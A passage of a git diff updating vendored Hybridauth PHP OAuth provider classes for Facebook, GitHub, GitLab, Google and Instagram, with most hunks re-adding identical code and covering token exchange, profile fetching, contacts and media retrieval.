1) { - $userProfile->city = trim($regionArr[0]); - $userProfile->country = trim($regionArr[1]); - } - } - - return $userProfile; - } - - /** - * Retrieve the user birthday. - * - * @param User\Profile $userProfile - * @param string $birthday - * - * @return \Hybridauth\User\Profile - */ - protected function fetchBirthday(User\Profile $userProfile, $birthday) - { - $result = (new Data\Parser())->parseBirthday($birthday, '/'); - - $userProfile->birthYear = (int)$result[0]; - $userProfile->birthMonth = (int)$result[1]; - $userProfile->birthDay = (int)$result[2]; - - return $userProfile; - } - - /** - * /v2.0/me/friends only returns the user's friends who also use the app. - * In the cases where you want to let people tag their friends in stories published by your app, - * you can use the Taggable Friends API. - * - * https://developers.facebook.com/docs/apps/faq#unable_full_friend_list - */ - public function getUserContacts() - { - $contacts = []; - - $apiUrl = 'me/friends?fields=link,name'; - - do { - $response = $this->apiRequest($apiUrl); - - $data = new Data\Collection($response); - - if (!$data->exists('data')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - if (!$data->filter('data')->isEmpty()) { - foreach ($data->filter('data')->toArray() as $item) { - $contacts[] = $this->fetchUserContact($item); - } - } - - if ($data->filter('paging')->exists('next')) { - $apiUrl = $data->filter('paging')->get('next'); - - $pagedList = true; - } else { - $pagedList = false; - } - } while ($pagedList); - - return $contacts; - } - - /** - * Parse the user contact. - * - * @param array $item - * - * @return \Hybridauth\User\Contact - */ - protected function fetchUserContact($item) - { - $userContact = new User\Contact(); - - $item = new Data\Collection($item); - - $userContact->identifier = $item->get('id'); - $userContact->displayName = $item->get('name'); - - $userContact->profileURL = $item->exists('link') - ?: $this->getProfileUrl($userContact->identifier); - - $userContact->photoURL = $this->apiBaseUrl . $userContact->identifier . '/picture?width=150&height=150'; - - return $userContact; - } - - /** - * {@inheritdoc} - */ - public function setPageStatus($status, $pageId) - { - $status = is_string($status) ? ['message' => $status] : $status; - - // Post on user wall. - if ($pageId === 'me') { - return $this->setUserStatus($status); - } - - // Retrieve writable user pages and filter by given one. - $pages = $this->getUserPages(true); - $pages = array_filter($pages, function ($page) use ($pageId) { - return $page->id == $pageId; - }); - - if (!$pages) { - throw new InvalidArgumentException('Could not find a page with given id.'); - } - - $page = reset($pages); - - // Use page access token instead of user access token. - $headers = [ - 'Authorization' => 'Bearer ' . $page->access_token, - ]; - - // Refresh proof for API call. - $parameters = $status + [ - 'appsecret_proof' => hash_hmac('sha256', $page->access_token, $this->clientSecret), - ]; - - $response = $this->apiRequest("{$pageId}/feed", 'POST', $parameters, $headers); - - return $response; - } - - /** - * {@inheritdoc} - */ - public function getUserPages($writable = false) - { - $pages = $this->apiRequest('me/accounts'); - - if (!$writable) { - return $pages->data; - } - - // Filter user pages by CREATE_CONTENT permission. - return array_filter($pages->data, function ($page) { - return in_array('CREATE_CONTENT', $page->tasks); - }); - } - - /** - * {@inheritdoc} - */ - public function getUserActivity($stream = 'me') - { - $apiUrl = $stream == 'me' ? 'me/feed' : 'me/home'; - - $response = $this->apiRequest($apiUrl); - - $data = new Data\Collection($response); - - if (!$data->exists('data')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $activities = []; - - foreach ($data->filter('data')->toArray() as $item) { - $activities[] = $this->fetchUserActivity($item); - } - - return $activities; - } - - /** - * @param $item - * - * @return User\Activity - */ - protected function fetchUserActivity($item) - { - $userActivity = new User\Activity(); - - $item = new Data\Collection($item); - - $userActivity->id = $item->get('id'); - $userActivity->date = $item->get('created_time'); - - if ('video' == $item->get('type') || 'link' == $item->get('type')) { - $userActivity->text = $item->get('link'); - } - - if (empty($userActivity->text) && $item->exists('story')) { - $userActivity->text = $item->get('link'); - } - - if (empty($userActivity->text) && $item->exists('message')) { - $userActivity->text = $item->get('message'); - } - - if (!empty($userActivity->text) && $item->exists('from')) { - $userActivity->user->identifier = $item->filter('from')->get('id'); - $userActivity->user->displayName = $item->filter('from')->get('name'); - - $userActivity->user->profileURL = $this->getProfileUrl($userActivity->user->identifier); - - $userActivity->user->photoURL = $this->apiBaseUrl . $userActivity->user->identifier; - $userActivity->user->photoURL .= '/picture?width=150&height=150'; - } - - return $userActivity; - } - - /** - * Get profile URL. - * - * @param int $identity User ID. - * @return string|null NULL when identity is not provided. - */ - protected function getProfileUrl($identity) - { - if (!is_numeric($identity)) { - return null; - } - - return sprintf($this->profileUrlTemplate, $identity); - } -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + * 'keys' => ['id' => '', 'secret' => ''], + * 'scope' => 'email, user_status, user_posts', + * 'exchange_by_expiry_days' => 45, // null for no token exchange + * ]; + * + * $adapter = new Hybridauth\Provider\Facebook($config); + * + * try { + * $adapter->authenticate(); + * + * $userProfile = $adapter->getUserProfile(); + * $tokens = $adapter->getAccessToken(); + * $response = $adapter->setUserStatus("Hybridauth test message.."); + * } catch (\Exception $e) { + * echo $e->getMessage() ; + * } + */ +class Facebook extends OAuth2 +{ + /** + * {@inheritdoc} + */ + protected $scope = 'email, public_profile'; + + /** + * {@inheritdoc} + */ + protected $apiBaseUrl = 'https://graph.facebook.com/v8.0/'; + + /** + * {@inheritdoc} + */ + protected $authorizeUrl = 'https://www.facebook.com/dialog/oauth'; + + /** + * {@inheritdoc} + */ + protected $accessTokenUrl = 'https://graph.facebook.com/oauth/access_token'; + + /** + * {@inheritdoc} + */ + protected $apiDocumentation = 'https://developers.facebook.com/docs/facebook-login/overview'; + + /** + * @var string Profile URL template as the fallback when no `link` returned from the API. + */ + protected $profileUrlTemplate = 'https://www.facebook.com/%s'; + + /** + * {@inheritdoc} + */ + protected function initialize() + { + parent::initialize(); + + // Require proof on all Facebook api calls + // https://developers.facebook.com/docs/graph-api/securing-requests#appsecret_proof + if ($accessToken = $this->getStoredData('access_token')) { + $this->apiRequestParameters['appsecret_proof'] = hash_hmac('sha256', $accessToken, $this->clientSecret); + } + } + + /** + * {@inheritdoc} + */ + public function maintainToken() + { + if (!$this->isConnected()) { + return; + } + + // Handle token exchange prior to the standard handler for an API request + $exchange_by_expiry_days = $this->config->get('exchange_by_expiry_days') ?: 45; + if ($exchange_by_expiry_days !== null) { + $projected_timestamp = time() + 60 * 60 * 24 * $exchange_by_expiry_days; + if (!$this->hasAccessTokenExpired() && $this->hasAccessTokenExpired($projected_timestamp)) { + $this->exchangeAccessToken(); + } + } + } + + /** + * Exchange the Access Token with one that expires further in the future. + * + * @return string Raw Provider API response + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + * @throws \Hybridauth\Exception\InvalidAccessTokenException + */ + public function exchangeAccessToken() + { + $exchangeTokenParameters = [ + 'grant_type' => 'fb_exchange_token', + 'client_id' => $this->clientId, + 'client_secret' => $this->clientSecret, + 'fb_exchange_token' => $this->getStoredData('access_token'), + ]; + + $response = $this->httpClient->request( + $this->accessTokenUrl, + 'GET', + $exchangeTokenParameters + ); + + $this->validateApiResponse('Unable to exchange the access token'); + + $this->validateAccessTokenExchange($response); + + return $response; + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $fields = [ + 'id', + 'name', + 'first_name', + 'last_name', + 'website', + 'locale', + 'about', + 'email', + 'hometown', + 'birthday', + ]; + + if (strpos($this->scope, 'user_link') !== false) { + $fields[] = 'link'; + } + + if (strpos($this->scope, 'user_gender') !== false) { + $fields[] = 'gender'; + } + + // Note that en_US is needed for gender fields to match convention. + $locale = $this->config->get('locale') ?: 'en_US'; + $response = $this->apiRequest('me', 'GET', [ + 'fields' => implode(',', $fields), + 'locale' => $locale, + ]); + + $data = new Data\Collection($response); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->displayName = $data->get('name'); + $userProfile->firstName = $data->get('first_name'); + $userProfile->lastName = $data->get('last_name'); + $userProfile->profileURL = $data->get('link'); + $userProfile->webSiteURL = $data->get('website'); + $userProfile->gender = $data->get('gender'); + $userProfile->language = $data->get('locale'); + $userProfile->description = $data->get('about'); + $userProfile->email = $data->get('email'); + + // Fallback for profile URL in case Facebook does not provide "pretty" link with username (if user set it). + if (empty($userProfile->profileURL)) { + $userProfile->profileURL = $this->getProfileUrl($userProfile->identifier); + } + + $userProfile->region = $data->filter('hometown')->get('name'); + + $photoSize = $this->config->get('photo_size') ?: '150'; + + $userProfile->photoURL = $this->apiBaseUrl . $userProfile->identifier; + $userProfile->photoURL .= '/picture?width=' . $photoSize . '&height=' . $photoSize; + + $userProfile->emailVerified = $userProfile->email; + + $userProfile = $this->fetchUserRegion($userProfile); + + $userProfile = $this->fetchBirthday($userProfile, $data->get('birthday')); + + return $userProfile; + } + + /** + * Retrieve the user region. + * + * @param User\Profile $userProfile + * + * @return \Hybridauth\User\Profile + */ + protected function fetchUserRegion(User\Profile $userProfile) + { + if (!empty($userProfile->region)) { + $regionArr = explode(',', $userProfile->region); + + if (count($regionArr) > 1) { + $userProfile->city = trim($regionArr[0]); + $userProfile->country = trim($regionArr[1]); + } + } + + return $userProfile; + } + + /** + * Retrieve the user birthday. + * + * @param User\Profile $userProfile + * @param string $birthday + * + * @return \Hybridauth\User\Profile + */ + protected function fetchBirthday(User\Profile $userProfile, $birthday) + { + $result = (new Data\Parser())->parseBirthday($birthday, '/'); + + $userProfile->birthYear = (int)$result[0]; + $userProfile->birthMonth = (int)$result[1]; + $userProfile->birthDay = (int)$result[2]; + + return $userProfile; + } + + /** + * /v2.0/me/friends only returns the user's friends who also use the app. + * In the cases where you want to let people tag their friends in stories published by your app, + * you can use the Taggable Friends API. + * + * https://developers.facebook.com/docs/apps/faq#unable_full_friend_list + */ + public function getUserContacts() + { + $contacts = []; + + $apiUrl = 'me/friends?fields=link,name'; + + do { + $response = $this->apiRequest($apiUrl); + + $data = new Data\Collection($response); + + if (!$data->exists('data')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + if (!$data->filter('data')->isEmpty()) { + foreach ($data->filter('data')->toArray() as $item) { + $contacts[] = $this->fetchUserContact($item); + } + } + + if ($data->filter('paging')->exists('next')) { + $apiUrl = $data->filter('paging')->get('next'); + + $pagedList = true; + } else { + $pagedList = false; + } + } while ($pagedList); + + return $contacts; + } + + /** + * Parse the user contact. + * + * @param array $item + * + * @return \Hybridauth\User\Contact + */ + protected function fetchUserContact($item) + { + $userContact = new User\Contact(); + + $item = new Data\Collection($item); + + $userContact->identifier = $item->get('id'); + $userContact->displayName = $item->get('name'); + + $userContact->profileURL = $item->exists('link') + ?: $this->getProfileUrl($userContact->identifier); + + $userContact->photoURL = $this->apiBaseUrl . $userContact->identifier . '/picture?width=150&height=150'; + + return $userContact; + } + + /** + * {@inheritdoc} + */ + public function setPageStatus($status, $pageId) + { + $status = is_string($status) ? ['message' => $status] : $status; + + // Post on user wall. + if ($pageId === 'me') { + return $this->setUserStatus($status); + } + + // Retrieve writable user pages and filter by given one. + $pages = $this->getUserPages(true); + $pages = array_filter($pages, function ($page) use ($pageId) { + return $page->id == $pageId; + }); + + if (!$pages) { + throw new InvalidArgumentException('Could not find a page with given id.'); + } + + $page = reset($pages); + + // Use page access token instead of user access token. + $headers = [ + 'Authorization' => 'Bearer ' . $page->access_token, + ]; + + // Refresh proof for API call. + $parameters = $status + [ + 'appsecret_proof' => hash_hmac('sha256', $page->access_token, $this->clientSecret), + ]; + + $response = $this->apiRequest("{$pageId}/feed", 'POST', $parameters, $headers); + + return $response; + } + + /** + * {@inheritdoc} + */ + public function getUserPages($writable = false) + { + $pages = $this->apiRequest('me/accounts'); + + if (!$writable) { + return $pages->data; + } + + // Filter user pages by CREATE_CONTENT permission. + return array_filter($pages->data, function ($page) { + return in_array('CREATE_CONTENT', $page->tasks); + }); + } + + /** + * {@inheritdoc} + */ + public function getUserActivity($stream = 'me') + { + $apiUrl = $stream == 'me' ? 'me/feed' : 'me/home'; + + $response = $this->apiRequest($apiUrl); + + $data = new Data\Collection($response); + + if (!$data->exists('data')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $activities = []; + + foreach ($data->filter('data')->toArray() as $item) { + $activities[] = $this->fetchUserActivity($item); + } + + return $activities; + } + + /** + * @param $item + * + * @return User\Activity + */ + protected function fetchUserActivity($item) + { + $userActivity = new User\Activity(); + + $item = new Data\Collection($item); + + $userActivity->id = $item->get('id'); + $userActivity->date = $item->get('created_time'); + + if ('video' == $item->get('type') || 'link' == $item->get('type')) { + $userActivity->text = $item->get('link'); + } + + if (empty($userActivity->text) && $item->exists('story')) { + $userActivity->text = $item->get('link'); + } + + if (empty($userActivity->text) && $item->exists('message')) { + $userActivity->text = $item->get('message'); + } + + if (!empty($userActivity->text) && $item->exists('from')) { + $userActivity->user->identifier = $item->filter('from')->get('id'); + $userActivity->user->displayName = $item->filter('from')->get('name'); + + $userActivity->user->profileURL = $this->getProfileUrl($userActivity->user->identifier); + + $userActivity->user->photoURL = $this->apiBaseUrl . $userActivity->user->identifier; + $userActivity->user->photoURL .= '/picture?width=150&height=150'; + } + + return $userActivity; + } + + /** + * Get profile URL. + * + * @param int $identity User ID. + * @return string|null NULL when identity is not provided. + */ + protected function getProfileUrl($identity) + { + if (!is_numeric($identity)) { + return null; + } + + return sprintf($this->profileUrlTemplate, $identity); + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/GitHub.php b/vendor/hybridauth/hybridauth/src/Provider/GitHub.php new file mode 100644 index 0000000000..15b29f701c --- /dev/null +++ b/vendor/hybridauth/hybridauth/src/Provider/GitHub.php @@ -0,0 +1,110 @@ +apiRequest('user'); + + $data = new Data\Collection($response); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->displayName = $data->get('name'); + $userProfile->description = $data->get('bio'); + $userProfile->photoURL = $data->get('avatar_url'); + $userProfile->profileURL = $data->get('html_url'); + $userProfile->email = $data->get('email'); + $userProfile->webSiteURL = $data->get('blog'); + $userProfile->region = $data->get('location'); + + $userProfile->displayName = $userProfile->displayName ?: $data->get('login'); + + if (empty($userProfile->email) && strpos($this->scope, 'user:email') !== false) { + try { + // user email is not mandatory so keep it quite. + $userProfile = $this->requestUserEmail($userProfile); + } catch (\Exception $e) { + } + } + + return $userProfile; + } + + /** + * Request connected user email + * + * https://developer.github.com/v3/users/emails/ + * @param User\Profile $userProfile + * + * @return User\Profile + * + * @throws \Exception + */ + protected function requestUserEmail(User\Profile $userProfile) + { + $response = $this->apiRequest('user/emails'); + + foreach ($response as $idx => $item) { + if (!empty($item->primary) && $item->primary == 1) { + $userProfile->email = $item->email; + + if (!empty($item->verified) && $item->verified == 1) { + $userProfile->emailVerified = $userProfile->email; + } + + break; + } + } + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/GitLab.php b/vendor/hybridauth/hybridauth/src/Provider/GitLab.php new file mode 100644 index 0000000000..bf98f50f2c --- /dev/null +++ b/vendor/hybridauth/hybridauth/src/Provider/GitLab.php @@ -0,0 +1,72 @@ +apiRequest('user'); + + $data = new Data\Collection($response); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->displayName = $data->get('name'); + $userProfile->description = $data->get('bio'); + $userProfile->photoURL = $data->get('avatar_url'); + $userProfile->profileURL = $data->get('web_url'); + $userProfile->email = $data->get('email'); + $userProfile->webSiteURL = $data->get('website_url'); + + $userProfile->displayName = $userProfile->displayName ?: $data->get('username'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Google.php b/vendor/hybridauth/hybridauth/src/Provider/Google.php index ea415bc59b..26b2acbf87 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Google.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Google.php @@ -1,199 +1,199 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - * 'keys' => ['id' => '', 'secret' => ''], - * 'scope' => 'https://www.googleapis.com/auth/userinfo.profile', - * - * // google's custom auth url params - * 'authorize_url_parameters' => [ - * 'approval_prompt' => 'force', // to pass only when you need to acquire a new refresh token. - * 'access_type' => .., // is set to 'offline' by default - * 'hd' => .., - * 'state' => .., - * // etc. - * ] - * ]; - * - * $adapter = new Hybridauth\Provider\Google($config); - * - * try { - * $adapter->authenticate(); - * - * $userProfile = $adapter->getUserProfile(); - * $tokens = $adapter->getAccessToken(); - * $contacts = $adapter->getUserContacts(['max-results' => 75]); - * } catch (\Exception $e) { - * echo $e->getMessage() ; - * } - */ -class Google extends OAuth2 -{ - /** - * {@inheritdoc} - */ - // phpcs:ignore - protected $scope = 'https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/userinfo.email'; - - /** - * {@inheritdoc} - */ - protected $apiBaseUrl = 'https://www.googleapis.com/'; - - /** - * {@inheritdoc} - */ - protected $authorizeUrl = 'https://accounts.google.com/o/oauth2/auth'; - - /** - * {@inheritdoc} - */ - protected $accessTokenUrl = 'https://accounts.google.com/o/oauth2/token'; - - /** - * {@inheritdoc} - */ - protected $apiDocumentation = 'https://developers.google.com/identity/protocols/OAuth2'; - - /** - * {@inheritdoc} - */ - protected function initialize() - { - parent::initialize(); - - $this->AuthorizeUrlParameters += [ - 'access_type' => 'offline' - ]; - - if ($this->isRefreshTokenAvailable()) { - $this->tokenRefreshParameters += [ - 'client_id' => $this->clientId, - 'client_secret' => $this->clientSecret - ]; - } - } - - /** - * {@inheritdoc} - * - * See: https://developers.google.com/identity/protocols/OpenIDConnect#obtainuserinfo - */ - public function getUserProfile() - { - $response = $this->apiRequest('oauth2/v3/userinfo'); - - $data = new Data\Collection($response); - - if (!$data->exists('sub')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('sub'); - $userProfile->firstName = $data->get('given_name'); - $userProfile->lastName = $data->get('family_name'); - $userProfile->displayName = $data->get('name'); - $userProfile->photoURL = $data->get('picture'); - $userProfile->profileURL = $data->get('profile'); - $userProfile->gender = $data->get('gender'); - $userProfile->language = $data->get('locale'); - $userProfile->email = $data->get('email'); - - $userProfile->emailVerified = $data->get('email_verified') ? $userProfile->email : ''; - - if ($this->config->get('photo_size')) { - $userProfile->photoURL .= '?sz=' . $this->config->get('photo_size'); - } - - return $userProfile; - } - - /** - * {@inheritdoc} - */ - public function getUserContacts($parameters = []) - { - $parameters = ['max-results' => 500] + $parameters; - - // Google Gmail and Android contacts - if (false !== strpos($this->scope, '/m8/feeds/') || false !== strpos($this->scope, '/auth/contacts.readonly')) { - return $this->getGmailContacts($parameters); - } - - return []; - } - - /** - * Retrieve Gmail contacts - * - * @param array $parameters - * - * @return array - * - * @throws \Exception - */ - protected function getGmailContacts($parameters = []) - { - $url = 'https://www.google.com/m8/feeds/contacts/default/full?' - . http_build_query(array_replace(['alt' => 'json', 'v' => '3.0'], (array)$parameters)); - - $response = $this->apiRequest($url); - - if (!$response) { - return []; - } - - $contacts = []; - - if (isset($response->feed->entry)) { - foreach ($response->feed->entry as $idx => $entry) { - $uc = new User\Contact(); - - $uc->email = isset($entry->{'gd$email'}[0]->address) - ? (string)$entry->{'gd$email'}[0]->address - : ''; - - $uc->displayName = isset($entry->title->{'$t'}) ? (string)$entry->title->{'$t'} : ''; - $uc->identifier = ($uc->email != '') ? $uc->email : ''; - $uc->description = ''; - - if (property_exists($response, 'website')) { - if (is_array($response->website)) { - foreach ($response->website as $w) { - if ($w->primary == true) { - $uc->webSiteURL = $w->value; - } - } - } else { - $uc->webSiteURL = $response->website->value; - } - } else { - $uc->webSiteURL = ''; - } - - $contacts[] = $uc; - } - } - - return $contacts; - } -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + * 'keys' => ['id' => '', 'secret' => ''], + * 'scope' => 'https://www.googleapis.com/auth/userinfo.profile', + * + * // google's custom auth url params + * 'authorize_url_parameters' => [ + * 'approval_prompt' => 'force', // to pass only when you need to acquire a new refresh token. + * 'access_type' => .., // is set to 'offline' by default + * 'hd' => .., + * 'state' => .., + * // etc. + * ] + * ]; + * + * $adapter = new Hybridauth\Provider\Google($config); + * + * try { + * $adapter->authenticate(); + * + * $userProfile = $adapter->getUserProfile(); + * $tokens = $adapter->getAccessToken(); + * $contacts = $adapter->getUserContacts(['max-results' => 75]); + * } catch (\Exception $e) { + * echo $e->getMessage() ; + * } + */ +class Google extends OAuth2 +{ + /** + * {@inheritdoc} + */ + // phpcs:ignore + protected $scope = 'https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/userinfo.email'; + + /** + * {@inheritdoc} + */ + protected $apiBaseUrl = 'https://www.googleapis.com/'; + + /** + * {@inheritdoc} + */ + protected $authorizeUrl = 'https://accounts.google.com/o/oauth2/auth'; + + /** + * {@inheritdoc} + */ + protected $accessTokenUrl = 'https://accounts.google.com/o/oauth2/token'; + + /** + * {@inheritdoc} + */ + protected $apiDocumentation = 'https://developers.google.com/identity/protocols/OAuth2'; + + /** + * {@inheritdoc} + */ + protected function initialize() + { + parent::initialize(); + + $this->AuthorizeUrlParameters += [ + 'access_type' => 'offline' + ]; + + if ($this->isRefreshTokenAvailable()) { + $this->tokenRefreshParameters += [ + 'client_id' => $this->clientId, + 'client_secret' => $this->clientSecret + ]; + } + } + + /** + * {@inheritdoc} + * + * See: https://developers.google.com/identity/protocols/OpenIDConnect#obtainuserinfo + */ + public function getUserProfile() + { + $response = $this->apiRequest('oauth2/v3/userinfo'); + + $data = new Data\Collection($response); + + if (!$data->exists('sub')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('sub'); + $userProfile->firstName = $data->get('given_name'); + $userProfile->lastName = $data->get('family_name'); + $userProfile->displayName = $data->get('name'); + $userProfile->photoURL = $data->get('picture'); + $userProfile->profileURL = $data->get('profile'); + $userProfile->gender = $data->get('gender'); + $userProfile->language = $data->get('locale'); + $userProfile->email = $data->get('email'); + + $userProfile->emailVerified = $data->get('email_verified') ? $userProfile->email : ''; + + if ($this->config->get('photo_size')) { + $userProfile->photoURL .= '?sz=' . $this->config->get('photo_size'); + } + + return $userProfile; + } + + /** + * {@inheritdoc} + */ + public function getUserContacts($parameters = []) + { + $parameters = ['max-results' => 500] + $parameters; + + // Google Gmail and Android contacts + if (false !== strpos($this->scope, '/m8/feeds/') || false !== strpos($this->scope, '/auth/contacts.readonly')) { + return $this->getGmailContacts($parameters); + } + + return []; + } + + /** + * Retrieve Gmail contacts + * + * @param array $parameters + * + * @return array + * + * @throws \Exception + */ + protected function getGmailContacts($parameters = []) + { + $url = 'https://www.google.com/m8/feeds/contacts/default/full?' + . http_build_query(array_replace(['alt' => 'json', 'v' => '3.0'], (array)$parameters)); + + $response = $this->apiRequest($url); + + if (!$response) { + return []; + } + + $contacts = []; + + if (isset($response->feed->entry)) { + foreach ($response->feed->entry as $idx => $entry) { + $uc = new User\Contact(); + + $uc->email = isset($entry->{'gd$email'}[0]->address) + ? (string)$entry->{'gd$email'}[0]->address + : ''; + + $uc->displayName = isset($entry->title->{'$t'}) ? (string)$entry->title->{'$t'} : ''; + $uc->identifier = ($uc->email != '') ? $uc->email : ''; + $uc->description = ''; + + if (property_exists($response, 'website')) { + if (is_array($response->website)) { + foreach ($response->website as $w) { + if ($w->primary == true) { + $uc->webSiteURL = $w->value; + } + } + } else { + $uc->webSiteURL = $response->website->value; + } + } else { + $uc->webSiteURL = ''; + } + + $contacts[] = $uc; + } + } + + return $contacts; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Instagram.php b/vendor/hybridauth/hybridauth/src/Provider/Instagram.php index c8fbad5fbe..1f32e7bc98 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Instagram.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Instagram.php @@ -1,256 +1,256 @@ -getStoredData($this->accessTokenName); - $this->apiRequestParameters[$this->accessTokenName] = $accessToken; - } - - /** - * {@inheritdoc} - */ - protected function validateAccessTokenExchange($response) - { - $collection = parent::validateAccessTokenExchange($response); - - if (!$collection->exists('expires_in')) { - // Instagram tokens always expire in an hour, but this is implicit not explicit - - $expires_in = 60 * 60; - - $expires_at = time() + $expires_in; - - $this->storeData('expires_in', $expires_in); - $this->storeData('expires_at', $expires_at); - } - - return $collection; - } - - /** - * {@inheritdoc} - */ - public function maintainToken() - { - if (!$this->isConnected()) { - return; - } - - // Handle token exchange prior to the standard handler for an API request - $exchange_by_expiry_days = $this->config->get('exchange_by_expiry_days') ?: 45; - if ($exchange_by_expiry_days !== null) { - $projected_timestamp = time() + 60 * 60 * 24 * $exchange_by_expiry_days; - if (!$this->hasAccessTokenExpired() && $this->hasAccessTokenExpired($projected_timestamp)) { - $this->exchangeAccessToken(); - } - } - } - - /** - * Exchange the Access Token with one that expires further in the future. - * - * @return string Raw Provider API response - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - * @throws InvalidAccessTokenException - */ - public function exchangeAccessToken() - { - if ($this->getStoredData('expires_in') >= 5000000) { - /* - Refresh a long-lived token (needed on Instagram, but not Facebook). - It's not an oAuth style refresh using a refresh token. - Actually it's really just another exchange, and invalidates the old token. - Facebook/Instagram documentation is not very helpful at explaining that! - */ - $exchangeTokenParameters = [ - 'grant_type' => 'ig_refresh_token', - 'client_secret' => $this->clientSecret, - 'access_token' => $this->getStoredData('access_token'), - ]; - $url = 'https://graph.instagram.com/refresh_access_token'; - } else { - // Exchange short-lived to long-lived - $exchangeTokenParameters = [ - 'grant_type' => 'ig_exchange_token', - 'client_secret' => $this->clientSecret, - 'access_token' => $this->getStoredData('access_token'), - ]; - $url = 'https://graph.instagram.com/access_token'; - } - - $response = $this->httpClient->request( - $url, - 'GET', - $exchangeTokenParameters - ); - - $this->validateApiResponse('Unable to exchange the access token'); - - $this->validateAccessTokenExchange($response); - - return $response; - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $response = $this->apiRequest('me', 'GET', [ - 'fields' => 'id,username,account_type,media_count', - ]); - - $data = new Collection($response); - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - $userProfile->identifier = $data->get('id'); - $userProfile->displayName = $data->get('username'); - $userProfile->profileURL = "https://instagram.com/{$userProfile->displayName}"; - $userProfile->data = [ - 'account_type' => $data->get('account_type'), - 'media_count' => $data->get('media_count'), - ]; - - return $userProfile; - } - - /** - * Fetch user medias. - * - * @param int $limit Number of elements per page. - * @param string $pageId Current pager ID. - * @param array|null $fields Fields to fetch per media. - * - * @return \Hybridauth\Data\Collection - * - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - * @throws \Hybridauth\Exception\InvalidAccessTokenException - * @throws \Hybridauth\Exception\UnexpectedApiResponseException - */ - public function getUserMedia($limit = 12, $pageId = null, array $fields = null) - { - if (empty($fields)) { - $fields = [ - 'id', - 'caption', - 'media_type', - 'media_url', - 'thumbnail_url', - 'permalink', - 'timestamp', - 'username', - ]; - } - - $params = [ - 'fields' => implode(',', $fields), - 'limit' => $limit, - ]; - if ($pageId !== null) { - $params['after'] = $pageId; - } - - $response = $this->apiRequest('me/media', 'GET', $params); - - $data = new Collection($response); - if (!$data->exists('data')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - return $data; - } - - /** - * Fetches a single user's media. - * - * @param string $mediaId Media ID. - * @param array|null $fields Fields to fetch per media. - * - * @return \Hybridauth\Data\Collection - * - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - * @throws \Hybridauth\Exception\InvalidAccessTokenException - * @throws \Hybridauth\Exception\UnexpectedApiResponseException - */ - public function getMedia($mediaId, array $fields = null) - { - if (empty($fields)) { - $fields = [ - 'id', - 'caption', - 'media_type', - 'media_url', - 'thumbnail_url', - 'permalink', - 'timestamp', - 'username', - ]; - } - - $response = $this->apiRequest($mediaId, 'GET', [ - 'fields' => implode(',', $fields), - ]); - - $data = new Collection($response); - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - return $data; - } -} +getStoredData($this->accessTokenName); + $this->apiRequestParameters[$this->accessTokenName] = $accessToken; + } + + /** + * {@inheritdoc} + */ + protected function validateAccessTokenExchange($response) + { + $collection = parent::validateAccessTokenExchange($response); + + if (!$collection->exists('expires_in')) { + // Instagram tokens always expire in an hour, but this is implicit not explicit + + $expires_in = 60 * 60; + + $expires_at = time() + $expires_in; + + $this->storeData('expires_in', $expires_in); + $this->storeData('expires_at', $expires_at); + } + + return $collection; + } + + /** + * {@inheritdoc} + */ + public function maintainToken() + { + if (!$this->isConnected()) { + return; + } + + // Handle token exchange prior to the standard handler for an API request + $exchange_by_expiry_days = $this->config->get('exchange_by_expiry_days') ?: 45; + if ($exchange_by_expiry_days !== null) { + $projected_timestamp = time() + 60 * 60 * 24 * $exchange_by_expiry_days; + if (!$this->hasAccessTokenExpired() && $this->hasAccessTokenExpired($projected_timestamp)) { + $this->exchangeAccessToken(); + } + } + } + + /** + * Exchange the Access Token with one that expires further in the future. + * + * @return string Raw Provider API response + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + * @throws InvalidAccessTokenException + */ + public function exchangeAccessToken() + { + if ($this->getStoredData('expires_in') >= 5000000) { + /* + Refresh a long-lived token (needed on Instagram, but not Facebook). + It's not an oAuth style refresh using a refresh token. + Actually it's really just another exchange, and invalidates the old token. + 